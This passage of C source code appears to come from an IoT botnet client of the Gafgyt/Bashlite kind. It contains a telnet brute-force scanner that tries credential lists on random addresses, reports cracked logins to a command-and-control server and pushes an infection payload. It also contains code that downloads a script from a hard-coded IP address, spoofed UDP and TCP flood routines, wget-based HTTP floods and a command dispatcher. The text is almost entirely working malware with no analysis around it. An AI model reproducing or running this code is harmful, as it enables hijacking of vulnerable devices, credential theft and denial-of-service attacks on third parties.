  1035.         int fd;
  1036.         fd = socket_connect("46.166.185.141", 80);
  1037.         write(fd, "GET gtop.sh\r\n", strlen("GET gtop.sh\r\n")); // write(fd, char[]*, len);  
  1038.         bzero(buffer, BUFFER_SIZE);
  1039.        
  1040.         while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
  1041.                 FILE *f;
  1042.                 f = fopen("x", "a");
  1043.                 fprintf(f, "%s", buffer);
  1044.                 fclose(f);
  1045.                 bzero(buffer, BUFFER_SIZE);
  1046.         }
  1047.  
  1048.         shutdown(fd, SHUT_RDWR);
  1049.         close(fd);
  1050. }
  1051.  
  1052. void StartTheLelz(int wait_usec, int maxfds)
  1053. {
  1054.         int i, res, num_tmps, j;
  1055.         char buf[128], cur_dir;
  1056.  
  1057.         int max = maxfds;
  1058.         fd_set fdset;
  1059.         struct timeval tv;
  1060.         socklen_t lon;
  1061.         int valopt;
  1062.  
  1063.         srand(time(NULL) ^ rand_cmwc());
  1064.        
  1065.         char line[256];
  1066.         char* buffer;
  1067.         struct sockaddr_in dest_addr;
  1068.         dest_addr.sin_family = AF_INET;
  1069.         dest_addr.sin_port = htons(23);
  1070.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1071.  
  1072.         buffer = malloc(BUFFER_SIZE + 1);
  1073.         memset(buffer, 0, BUFFER_SIZE + 1);
  1074.  
  1075.         struct telstate_t fds[max];
  1076.  
  1077.  
  1078.         memset(fds, 0, max * (sizeof(int) + 1));
  1079.         for(i = 0; i < max; i++)
  1080.         {
  1081.                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1082.                 fds[i].complete = 1;
  1083.                 fds[i].sockbuf = buffer;
  1084.         }
  1085.         for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  1086.  
  1087.  
  1088.  
  1089.         while(1)
  1090.         {
  1091.                 for(i = 0; i < max; i++)
  1092.                 {
  1093.                         if(fds[i].totalTimeout == 0)
  1094.                         {
  1095.                                 fds[i].totalTimeout = time(NULL);
  1096.                         }
  1097.  
  1098.                         switch(fds[i].state)
  1099.                         {
  1100.                         case 0:
  1101.                                 {
  1102.                                         if(fds[i].complete == 1)
  1103.                                         {
  1104.                                                 // clear the current fd
  1105.                                                 char *tmp = fds[i].sockbuf;
  1106.                                                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1107.                                                 fds[i].sockbuf = tmp;
  1108.                                                 // get a new random ip
  1109.                                                 fds[i].ip = findARandomIP();
  1110.                                         }
  1111.                                         else if(fds[i].complete == 0)
  1112.                                         {
  1113.                                                 fds[i].passwordInd++;
  1114.                                                 fds[i].usernameInd++;
  1115.  
  1116.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
  1117.                                                 {
  1118.                                                         fds[i].complete = 1;
  1119.                                                         continue;
  1120.                                                 }
  1121.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
  1122.                                                 {
  1123.                                                         fds[i].complete = 1;
  1124.                                                         continue;
  1125.                                                 }
  1126.                                         }
  1127.  
  1128.                                         dest_addr.sin_family = AF_INET;
  1129.                                         dest_addr.sin_port = htons(23);
  1130.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1131.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  1132.  
  1133.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1134.  
  1135.                                         if(fds[i].fd == -1) continue;
  1136.  
  1137.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1138.  
  1139.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1140.                                         {
  1141.                                                 reset_telstate(&fds[i]);
  1142.                                         }
  1143.                                         else
  1144.                                         {
  1145.                                                 advance_state(&fds[i], 1);
  1146.                                         }
  1147.                                 }
  1148.                                 break;
  1149.  
  1150.                                                                 case 1:
  1151.                                                                     {
  1152.                                                                         FD_ZERO(&fdset);
  1153.                                                                         FD_SET(fds[i].fd, &fdset);
  1154.                                                                         tv.tv_sec = 0;
  1155.                                                                         tv.tv_usec = wait_usec;
  1156.                                                                         res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1157.                                                    
  1158.                                                                         if(res == 1)
  1159.                                                                         {
  1160.                                                                             lon = sizeof(int);
  1161.                                                                             valopt = 0;
  1162.                                                                             getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1163.                                                                             //printf("%d\n",valopt);
  1164.                                                                             if(valopt)
  1165.                                                                             {
  1166.                                                                                 reset_telstate(&fds[i]);
  1167.                                                                             }
  1168.                                                                             else
  1169.                                                                             {
  1170.                                                                                 fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1171.                                                                                 advance_state(&fds[i], 2);
  1172.                                                                             }
  1173.                                                                             continue;
  1174.                                                                         }
  1175.                                                                         else if(res == -1)
  1176.                                                                         {
  1177.                                                                             reset_telstate(&fds[i]);
  1178.                                                                             continue;
  1179.                                                                         }
  1180.                                                    
  1181.                                                                         if(fds[i].totalTimeout + 6 < time(NULL))
  1182.                                                                         {
  1183.                                                                             reset_telstate(&fds[i]);
  1184.                                                                         }
  1185.                                                                     }
  1186.                                                                     break;
  1187.                                                    
  1188.                                                                 case 2:
  1189.                                                                     {
  1190.                                                                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1191.                                                                         {
  1192.                                                                             if(contains_fail(fds[i].sockbuf))
  1193.                                                                             {
  1194.                                                                                 advance_state(&fds[i], 0);
  1195.                                                                             }
  1196.                                                                             else
  1197.                                                                             {
  1198.                                                                                 advance_state(&fds[i], 3);
  1199.                                                                             }
  1200.                                                    
  1201.                                                                             continue;
  1202.                                                                         }
  1203.                                                    
  1204.                                                                         if(fds[i].totalTimeout + 6 < time(NULL))
  1205.                                                                         {
  1206.                                                                             reset_telstate(&fds[i]);
  1207.                                                                         }
  1208.                                                                     }
  1209.                                                                     break;
  1210.                                                    
  1211.                                                                 case 3:
  1212.                                                                     {
  1213.                                                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1214.                                                                         {
  1215.                                                                             reset_telstate(&fds[i]);
  1216.                                                                             continue;
  1217.                                                                         }
  1218.                                                    
  1219.                                                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1220.                                                                         {
  1221.                                                                             reset_telstate(&fds[i]);
  1222.                                                                             continue;
  1223.                                                                         }
  1224.                                                    
  1225.                                                                         advance_state(&fds[i], 4);
  1226.                                                                     }
  1227.                                                                     break;
  1228.                                                    
  1229.                                                                 case 4:
  1230.                                                                     {
  1231.                                                                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1232.                                                                         {
  1233.                                                                             if(contains_fail(fds[i].sockbuf))
  1234.                                                                             {
  1235.                                                                                 advance_state(&fds[i], 0);
  1236.                                                                             }
  1237.                                                                             else
  1238.                                                                             {
  1239.                                                                                 advance_state(&fds[i], 5);
  1240.                                                                             }
  1241.                                                                             continue;
  1242.                                                                         }
  1243.                                                    
  1244.                                                                         if(fds[i].totalTimeout + 6 < time(NULL))
  1245.                                                                         {
  1246.                                                                             reset_telstate(&fds[i]);
  1247.                                                                         }
  1248.                                                                     }
  1249.                                                                     break;
  1250.                                                    
  1251.                                                                 case 5:
  1252.                                                                     {
  1253.                                                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1254.                                                                         {
  1255.                                                                             reset_telstate(&fds[i]);
  1256.                                                                             continue;
  1257.                                                                         }
  1258.                                                    
  1259.                                                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1260.                                                                         {
  1261.                                                                             reset_telstate(&fds[i]);
  1262.                                                                             continue;
  1263.                                                                         }
  1264.                                                    
  1265.                                                                         advance_state(&fds[i], 6);
  1266.                                                                     }
  1267.                                                                     break;
  1268.                                                    
  1269.                                                                 case 6:
  1270.                                                                     {
  1271.                                                                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2))
  1272.                                                                         {
  1273.                                                                             fds[i].totalTimeout = time(NULL);
  1274.                                                    
  1275.                                                                             if(contains_fail(fds[i].sockbuf))
  1276.                                                                             {
  1277.                                                                                 advance_state(&fds[i], 0);
  1278.                                                                             }
  1279.                                                                             else if(contains_success(fds[i].sockbuf))
  1280.                                                                             {
  1281.                                                                                 if(fds[i].complete == 2)
  1282.                                                                                 {
  1283.                                                                                     advance_state(&fds[i], 7);
  1284.                                                                                 }
  1285.                                                                                 else
  1286.                                                                                 {
  1287.                                                                                     sockprintf(mainCommSock, "HIT THAT SHIT - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1288.                                                                                     sockprintf(mainCommSock, "YOU A BITCH %s|%s|%s|23", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1289.                                                                                     advance_state(&fds[i], 7);
  1290.                                                                                 }
  1291.                                                                             }
  1292.                                                                             else
  1293.                                                                             {
  1294.                                                                                 reset_telstate(&fds[i]);
  1295.                                                                             }
  1296.                                                                             continue;
  1297.                                                                         }
  1298.  
  1299.                                                    
  1300.                                                                         if(fds[i].totalTimeout + 7 < time(NULL))
  1301.                                                                         {
  1302.                                                                             reset_telstate(&fds[i]);
  1303.                                                                         }
  1304.                                                                     }
  1305.                                                                     break;                         
  1306.                                                                 case 7:
  1307.                                                                     {
  1308.                                                                         for(j = 0; j < num_tmps; j++)
  1309.                                                                         {
  1310.                                                                             memset(buf, 0, 128);
  1311.                                                                             if(j == 0)
  1312.                                                                                 snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve\r\n", tmpdirs[j], tmpdirs[j], tmpdirs[j], tmpdirs[j]);
  1313.                                                                             else
  1314.                                                                                 snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", tmpdirs[j], tmpdirs[j], tmpdirs[j]);
  1315.                                                    
  1316.                                                                             if(send(fds[i].fd, buf, strlen(buf), MSG_NOSIGNAL) < 0)
  1317.                                                                             {
  1318.                                                                                 reset_telstate(&fds[i]);
  1319.                                                                                 continue;
  1320.                                                                             }
  1321.                                                                         }                                              
  1322.                                                                         advance_state(&fds[i], 8);
  1323.                                                                     }
  1324.                                   break;
  1325.                                   case 8:
  1326.                                   {
  1327.                               fds[i].totalTimeout = time(NULL);
  1328.                               if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0)
  1329.                                   {
  1330.                                     sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1331.                                     reset_telstate(&fds[i]);
  1332.                                     continue;
  1333.                                   }
  1334.                                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, infected))
  1335.                                     {
  1336.                                         if(strcasestr(fds[i].sockbuf, infectedmessage) && fds[i].complete != 3)
  1337.                                         {
  1338.                                             sockprintf(mainCommSock, "LIKE A CHAMP - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1339.                                             sockprintf(mainCommSock, "Telnet\'d %s|%s|%s|23", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1340.                                             fds[i].complete = 3;
  1341.                                         }
  1342.                                     }
  1343.                                       if(fds[i].totalTimeout + 300 < time(NULL))
  1344.                                       {
  1345.                                         if(fds[i].complete !=3){
  1346.                                             sockprintf(mainCommSock, "FAILED TO INFECT - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);  
  1347.                                         }
  1348.                                         reset_telstate(&fds[i]);
  1349.                                       }
  1350.                                     break;
  1351.                         }
  1352.             }
  1353.         }
  1354.     }              
  1355. }
  1356.  
  1357. void sendSTD(unsigned char *ip, int port, int secs) {
  1358.  
  1359.     int iSTD_Sock;
  1360.  
  1361.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1362.  
  1363.     time_t start = time(NULL);
  1364.  
  1365.     struct sockaddr_in sin;
  1366.  
  1367.     struct hostent *hp;
  1368.  
  1369.     hp = gethostbyname(ip);
  1370.  
  1371.     bzero((char*) &sin,sizeof(sin));
  1372.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1373.     sin.sin_family = hp->h_addrtype;
  1374.     sin.sin_port = port;
  1375.  
  1376.     unsigned int a = 0;
  1377.  
  1378.     while(1){
  1379.         if (a >= 50)
  1380.         {
  1381.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1382.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1383.             if (time(NULL) >= start + secs)
  1384.             {
  1385.                 close(iSTD_Sock);
  1386.                 _exit(0);
  1387.             }
  1388.             a = 0;
  1389.         }
  1390.         a++;
  1391.     }
  1392.    
  1393.  
  1394. }
  1395.  
  1396. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  1397. {
  1398.         struct sockaddr_in dest_addr;
  1399.  
  1400.         dest_addr.sin_family = AF_INET;
  1401.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1402.         else dest_addr.sin_port = htons(port);
  1403.         if(getHost(target, &dest_addr.sin_addr)) return;
  1404.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1405.  
  1406.         register unsigned int pollRegister;
  1407.         pollRegister = pollinterval;
  1408.  
  1409.         if(spoofit == 32)
  1410.         {
  1411.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1412.                 if(!sockfd)
  1413.                 {
  1414.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1415.                         return;
  1416.                 }
  1417.  
  1418.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1419.                 if(buf == NULL) return;
  1420.                 memset(buf, 0, packetsize + 1);
  1421.                 makeRandomStr(buf, packetsize);
  1422.  
  1423.                 int end = time(NULL) + timeEnd;
  1424.                 register unsigned int i = 0;
  1425.                 register unsigned int ii = 0;
  1426.                 while(1)
  1427.                 {
  1428.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1429.  
  1430.                         if(i == pollRegister)
  1431.                         {
  1432.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1433.                                 if(time(NULL) > end) break;
  1434.                                 i = 0;
  1435.                                 continue;
  1436.                         }
  1437.                         i++;
  1438.                         if(ii == sleepcheck)
  1439.                         {
  1440.                             usleep(sleeptime*1000);
  1441.                             ii = 0;
  1442.                             continue;
  1443.                         }
  1444.                         ii++;
  1445.                 }
  1446.         } else {
  1447.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1448.                 if(!sockfd)
  1449.                 {
  1450.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1451.                         return;
  1452.                 }
  1453.  
  1454.                 int tmp = 1;
  1455.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1456.                 {
  1457.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1458.                         return;
  1459.                 }
  1460.  
  1461.                 int counter = 50;
  1462.                 while(counter--)
  1463.                 {
  1464.                         srand(time(NULL) ^ rand_cmwc());
  1465.                         init_rand(rand());
  1466.                 }
  1467.  
  1468.                 in_addr_t netmask;
  1469.  
  1470.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1471.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1472.  
  1473.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1474.                 struct iphdr *iph = (struct iphdr *)packet;
  1475.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1476.  
  1477.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1478.  
  1479.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1480.                 udph->source = rand_cmwc();
  1481.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1482.                 udph->check = 0;
  1483.  
  1484.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1485.  
  1486.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1487.  
  1488.                 int end = time(NULL) + timeEnd;
  1489.                 register unsigned int i = 0;
  1490.                 register unsigned int ii = 0;
  1491.                 while(1)
  1492.                 {
  1493.                     sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1494.  
  1495.                     udph->source = rand_cmwc();
  1496.                     udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1497.                     iph->id = rand_cmwc();
  1498.                     iph->saddr = htonl( getRandomIP(netmask) );
  1499.                     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1500.  
  1501.                     if(i == pollRegister)
  1502.                     {
  1503.                             if(time(NULL) > end) break;
  1504.                             i = 0;
  1505.                             continue;
  1506.                     }
  1507.                     i++;
  1508.                    
  1509.                     if(ii == sleepcheck)
  1510.                     {
  1511.                         usleep(sleeptime*1000);
  1512.                         ii = 0;
  1513.                         continue;
  1514.                     }
  1515.                     ii++;
  1516.                 }
  1517.         }
  1518. }
  1519.  
  1520. void spoofTest(unsigned char *target, int port)
  1521. {
  1522.         struct sockaddr_in dest_addr;
  1523.  
  1524.         dest_addr.sin_family = AF_INET;
  1525.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1526.         else dest_addr.sin_port = htons(port);
  1527.         if(getHost(target, &dest_addr.sin_addr)) return;
  1528.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1529.  
  1530.        
  1531.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1532.         if(!sockfd)
  1533.         {
  1534.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1535.                 return;
  1536.         }
  1537.  
  1538.         int tmp = 1;
  1539.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1540.         {
  1541.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1542.                 return;
  1543.         }
  1544.  
  1545.         int counter = 50;
  1546.         while(counter--)
  1547.         {
  1548.                 srand(time(NULL) ^ rand_cmwc());
  1549.                 init_rand(rand());
  1550.         }
  1551.  
  1552.         in_addr_t netmask;
  1553.  
  1554.         netmask = ( ~((in_addr_t) -1) );
  1555.  
  1556.         char *test = "";
  1557.         szprintf(test,"%s",inet_ntoa(ourPublicIP));
  1558.        
  1559.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(test)];
  1560.         struct iphdr *iph = (struct iphdr *)packet;
  1561.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1562.  
  1563.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + strlen(test));
  1564.  
  1565.         udph->len = htons(sizeof(struct udphdr) + strlen(test));
  1566.         udph->source = rand_cmwc();
  1567.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1568.         udph->check = 0;
  1569.        
  1570.         szprintf((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), "%s", test);
  1571.  
  1572.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1573.  
  1574.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1575. }
  1576.  
  1577. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1578. {
  1579.         register unsigned int pollRegister;
  1580.         pollRegister = pollinterval;
  1581.  
  1582.         struct sockaddr_in dest_addr;
  1583.  
  1584.         dest_addr.sin_family = AF_INET;
  1585.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1586.         else dest_addr.sin_port = htons(port);
  1587.         if(getHost(target, &dest_addr.sin_addr)) return;
  1588.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1589.  
  1590.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1591.         if(!sockfd)
  1592.         {
  1593.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1594.                 return;
  1595.         }
  1596.  
  1597.         int tmp = 1;
  1598.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1599.         {
  1600.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1601.                 return;
  1602.         }
  1603.  
  1604.         in_addr_t netmask;
  1605.  
  1606.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1607.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1608.  
  1609.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1610.         struct iphdr *iph = (struct iphdr *)packet;
  1611.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1612.  
  1613.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1614.  
  1615.         tcph->source = rand_cmwc();
  1616.         tcph->seq = rand_cmwc();
  1617.         tcph->ack_seq = 0;
  1618.         tcph->doff = 5;
  1619.  
  1620.         if(!strcmp(flags, "all"))
  1621.         {
  1622.                 tcph->syn = 1;
  1623.                 tcph->rst = 1;
  1624.                 tcph->fin = 1;
  1625.                 tcph->ack = 1;
  1626.                 tcph->psh = 1;
  1627.         } else {
  1628.                 unsigned char *pch = strtok(flags, ",");
  1629.                 while(pch)
  1630.                 {
  1631.                         if(!strcmp(pch,         "syn"))
  1632.                         {
  1633.                                 tcph->syn = 1;
  1634.                         } else if(!strcmp(pch,  "rst"))
  1635.                         {
  1636.                                 tcph->rst = 1;
  1637.                         } else if(!strcmp(pch,  "fin"))
  1638.                         {
  1639.                                 tcph->fin = 1;
  1640.                         } else if(!strcmp(pch,  "ack"))
  1641.                         {
  1642.                                 tcph->ack = 1;
  1643.                         } else if(!strcmp(pch,  "psh"))
  1644.                         {
  1645.                                 tcph->psh = 1;
  1646.                         } else {
  1647.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1648.                         }
  1649.                         pch = strtok(NULL, ",");
  1650.                 }
  1651.         }
  1652.  
  1653.         tcph->window = rand_cmwc();
  1654.         tcph->check = 0;
  1655.         tcph->urg_ptr = 0;
  1656.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1657.         tcph->check = tcpcsum(iph, tcph);
  1658.  
  1659.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1660.  
  1661.         int end = time(NULL) + timeEnd;
  1662.         register unsigned int i = 0;
  1663.         while(1)
  1664.         {
  1665.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1666.  
  1667.                 iph->saddr = htonl( getRandomIP(netmask) );
  1668.                 iph->id = rand_cmwc();
  1669.                 tcph->seq = rand_cmwc();
  1670.                 tcph->source = rand_cmwc();
  1671.                 tcph->check = 0;
  1672.                 tcph->check = tcpcsum(iph, tcph);
  1673.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1674.  
  1675.                 if(i == pollRegister)
  1676.                 {
  1677.                         if(time(NULL) > end) break;
  1678.                         i = 0;
  1679.                         continue;
  1680.                 }
  1681.                 i++;
  1682.         }
  1683. }
  1684.  
  1685. void sendHTTP(unsigned char *url, int end_time, int sleepcheck, int sleeptime)
  1686. {
  1687.     int end = time(NULL) + end_time;
  1688.     FILE *pf;
  1689.     char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1690.    
  1691.     char *command[80];
  1692.     sprintf(command,"wget -s -U \"");
  1693.     strcat(command, UA);
  1694.     strcat(command,"\" -q ");
  1695.     strcat(command, url);
  1696.     unsigned int ii = 0;
  1697.    
  1698.     while(end > time(NULL))
  1699.     {
  1700.         UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1701.         sprintf(command,"wget -s -U \"");
  1702.         strcat(command, UA);
  1703.         strcat(command,"\" -q ");
  1704.         strcat(command, url);
  1705.         system(command);
  1706.        
  1707.         if(ii == sleepcheck)
  1708.         {
  1709.             usleep(sleeptime*1000);
  1710.             ii = 0;
  1711.             continue;
  1712.         }
  1713.         ii++;
  1714.     }
  1715.    
  1716. }
  1717.  
  1718. void sendHTTP2(unsigned char *url, int end_time, int sleepcheck, int sleeptime)
  1719. {
  1720.     int end = time(NULL) + end_time;
  1721.     char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1722.    
  1723.    
  1724.     char *command[80];
  1725.     sprintf(command,"wget -O /tmp/yuagwduiagwdhg/a -U \"");
  1726.     strcat(command, UA);
  1727.     strcat(command,"\" -q ");
  1728.     strcat(command, url);
  1729.     unsigned int ii = 0;
  1730.    
  1731.     while(end > time(NULL))
  1732.     {
  1733.         UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1734.         sprintf(command,"wget -O /tmp/yuagwduiagwdhg/a -U \"");
  1735.         strcat(command, UA);
  1736.         strcat(command,"\" -q ");
  1737.         strcat(command, url);
  1738.         system(command);
  1739.        
  1740.         if(ii == sleepcheck)
  1741.         {
  1742.             usleep(sleeptime*1000);
  1743.             ii = 0;
  1744.             continue;
  1745.         }
  1746.         ii++;
  1747.     }
  1748.    
  1749. }
  1750.  
  1751. void sendCNC(unsigned char *ip,int port, int end_time)
  1752. {
  1753.     int end = time(NULL) + end_time;
  1754.     int sockfd;
  1755.     struct sockaddr_in server;
  1756.     //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1757.    
  1758.     server.sin_addr.s_addr = inet_addr(ip);
  1759.     server.sin_family = AF_INET;
  1760.     server.sin_port = htons(port);
  1761.    
  1762.     while(end > time(NULL))
  1763.     {
  1764.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1765.         connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1766.         sleep(1);
  1767.         close(sockfd);
  1768.     }
  1769.    
  1770. }
  1771.  
  1772. void processCmd(int argc, unsigned char *argv[])
  1773. {
  1774.     int x;
  1775.         if(!strcmp(argv[0], "PING"))
  1776.         {
  1777.                 sockprintf(mainCommSock, "PONG!");
  1778.                 return;
  1779.         }
  1780.        
  1781.         if(!strcmp(argv[0], "NUP"))
  1782.         {
  1783.             if(argc > 0){
  1784.                 char *ip = argv[1];
  1785.                 ourPublicIP.s_addr = inet_addr(ip);
  1786.                 sockprintf(mainCommSock, "TEST %s", inet_ntoa(ourIP));
  1787.             }
  1788.             return;
  1789.         }
  1790.        
  1791.         if(!strcmp(argv[0], "SPOOF"))
  1792.         {
  1793.             if(argc > 2){
  1794.                 char *ip = argv[1];
  1795.                 int port = argv[2];
  1796.                 spoofTest(ip,port);
  1797.             }
  1798.             return;
  1799.         }
  1800.        
  1801.         if(!strcmp(argv[0], "KILLSUB"))
  1802.         {
  1803.             if(argc < 1 ){
  1804.                 sockprintf(mainCommSock, "KILLSUB <sub version to kill>");
  1805.             }else{
  1806.                 int subbbb = atoi(argv[1]);
  1807.                 if(subbbb == subversionnnn){
  1808.                     sockprintf(mainCommSock, "KMS!");
  1809.                     exit(0);
  1810.                 }else{
  1811.                     sockprintf(mainCommSock, "not killing myself cuz im not that version");
  1812.                 }
  1813.             }
  1814.         }
  1815.         if(!strcmp(argv[0], "TABLE"))
  1816.         {
  1817.             sockprintf(mainCommSock, "%d", getdtablesize());
  1818.             return;
  1819.         }
  1820.         if(!strcmp(argv[0], "SCAN"))
  1821.         {
  1822.             if(argc < 2)
  1823.             {
  1824.                 sockprintf(mainCommSock, "SCAN <threads> <timeout>");
  1825.                 return;
  1826.             }else{
  1827.                 int threads = atoi(argv[1]);
  1828.                 int timeout = atoi(argv[2]);
  1829.                 if(!listFork())
  1830.                 {
  1831.                     sockprintf(mainCommSock, "Starting scanner!!");
  1832.                     StartTheLelz(timeout, threads);
  1833.                     _exit(0);
  1834.                 }
  1835.                 return;
  1836.             }
  1837.         }
  1838.  
  1839.         if(!strcmp(argv[0], "GETLOCALIP"))
  1840.         {
  1841.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1842.                 return;
  1843.         }
  1844.        
  1845.         if(!strcmp(argv[0], "GETPUBLICIP"))
  1846.         {
  1847.                 sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourPublicIP));
  1848.                 return;
  1849.         }
  1850.        
  1851.         if(!strcmp(argv[0], "VERSION"))
  1852.         {
  1853.             sockprintf(mainCommSock, "Version: %d.%d",versionnnn,subversionnnn);
  1854.             return;
  1855.         }
  1856.        
  1857.         if(!strcmp(argv[0], "RANGE"))
  1858.         {
  1859.             if(argc < 2 || atoi(argv[1]) == -1){
  1860.                 sockprintf(mainCommSock, "RANGE <option 0-idk>");
  1861.             }else{
  1862.                 sockprintf(mainCommSock, "Range %d->%d", rangechoice, atoi(argv[1]));
  1863.                 rangechoice = atoi(argv[1]);
  1864.             }
